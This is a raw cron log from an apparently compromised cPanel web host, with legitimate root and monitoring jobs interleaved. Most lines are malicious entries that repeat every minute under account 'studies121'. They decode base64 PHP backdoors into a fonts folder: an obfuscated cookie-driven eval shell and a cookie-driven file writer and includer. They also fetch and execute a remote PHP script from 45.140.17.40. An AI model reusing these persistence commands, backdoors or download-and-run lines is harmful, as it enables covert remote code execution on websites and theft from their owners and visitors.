Sep  7 23:58:01 ip-184-168-122-23 CROND[8005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:58:01 ip-184-168-122-23 CROND[8006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:58:01 ip-184-168-122-23 CROND[8007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:58:01 ip-184-168-122-23 CROND[8008]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:59:01 ip-184-168-122-23 CROND[8096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:59:01 ip-184-168-122-23 CROND[8094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:59:01 ip-184-168-122-23 CROND[8097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:59:01 ip-184-168-122-23 CROND[8095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:00:02 ip-184-168-122-23 CROND[8189]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 00:00:02 ip-184-168-122-23 CROND[8191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:00:02 ip-184-168-122-23 CROND[8196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:00:02 ip-184-168-122-23 CROND[8190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:00:02 ip-184-168-122-23 CROND[8194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:00:02 ip-184-168-122-23 CROND[8197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:00:02 ip-184-168-122-23 CROND[8195]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 00:00:02 ip-184-168-122-23 CROND[8193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:00:02 ip-184-168-122-23 CROND[8198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:01:01 ip-184-168-122-23 CROND[8296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:01:01 ip-184-168-122-23 CROND[8298]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 00:01:01 ip-184-168-122-23 CROND[8297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:01:01 ip-184-168-122-23 CROND[8299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:01:01 ip-184-168-122-23 CROND[8300]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 00:01:01 ip-184-168-122-23 CROND[8302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8298]: starting 0anacron
Sep  8 00:01:01 ip-184-168-122-23 anacron[8318]: Anacron started on 2026-09-08
Sep  8 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8320]: finished 0anacron
Sep  8 00:01:01 ip-184-168-122-23 anacron[8318]: Normal exit (0 jobs run)
Sep  8 00:02:01 ip-184-168-122-23 CROND[8399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:02:01 ip-184-168-122-23 CROND[8400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:02:01 ip-184-168-122-23 CROND[8402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:02:01 ip-184-168-122-23 CROND[8403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:02:01 ip-184-168-122-23 CROND[8405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:03:01 ip-184-168-122-23 CROND[8493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:03:01 ip-184-168-122-23 CROND[8494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:03:01 ip-184-168-122-23 CROND[8495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:03:01 ip-184-168-122-23 CROND[8496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:04:01 ip-184-168-122-23 CROND[8660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:04:01 ip-184-168-122-23 CROND[8664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:04:01 ip-184-168-122-23 CROND[8662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:04:01 ip-184-168-122-23 CROND[8663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:04:01 ip-184-168-122-23 CROND[8665]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:05:01 ip-184-168-122-23 CROND[8757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:05:01 ip-184-168-122-23 CROND[8761]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:05:01 ip-184-168-122-23 CROND[8759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:05:01 ip-184-168-122-23 CROND[8760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:05:01 ip-184-168-122-23 CROND[8762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:05:01 ip-184-168-122-23 CROND[8763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:05:01 ip-184-168-122-23 CROND[8765]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 00:06:01 ip-184-168-122-23 CROND[8853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:06:01 ip-184-168-122-23 CROND[8855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:06:01 ip-184-168-122-23 CROND[8857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:06:01 ip-184-168-122-23 CROND[8856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:06:01 ip-184-168-122-23 CROND[8854]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:07:01 ip-184-168-122-23 CROND[8950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:07:01 ip-184-168-122-23 CROND[8948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:07:01 ip-184-168-122-23 CROND[8951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:07:01 ip-184-168-122-23 CROND[8949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:08:01 ip-184-168-122-23 CROND[9025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:08:01 ip-184-168-122-23 CROND[9026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:08:01 ip-184-168-122-23 CROND[9027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:08:01 ip-184-168-122-23 CROND[9029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:08:01 ip-184-168-122-23 CROND[9028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:09:01 ip-184-168-122-23 CROND[9115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:09:01 ip-184-168-122-23 CROND[9118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:09:01 ip-184-168-122-23 CROND[9117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:09:01 ip-184-168-122-23 CROND[9119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:09:01 ip-184-168-122-23 CROND[9120]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 00:10:02 ip-184-168-122-23 CROND[9211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:10:02 ip-184-168-122-23 CROND[9210]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
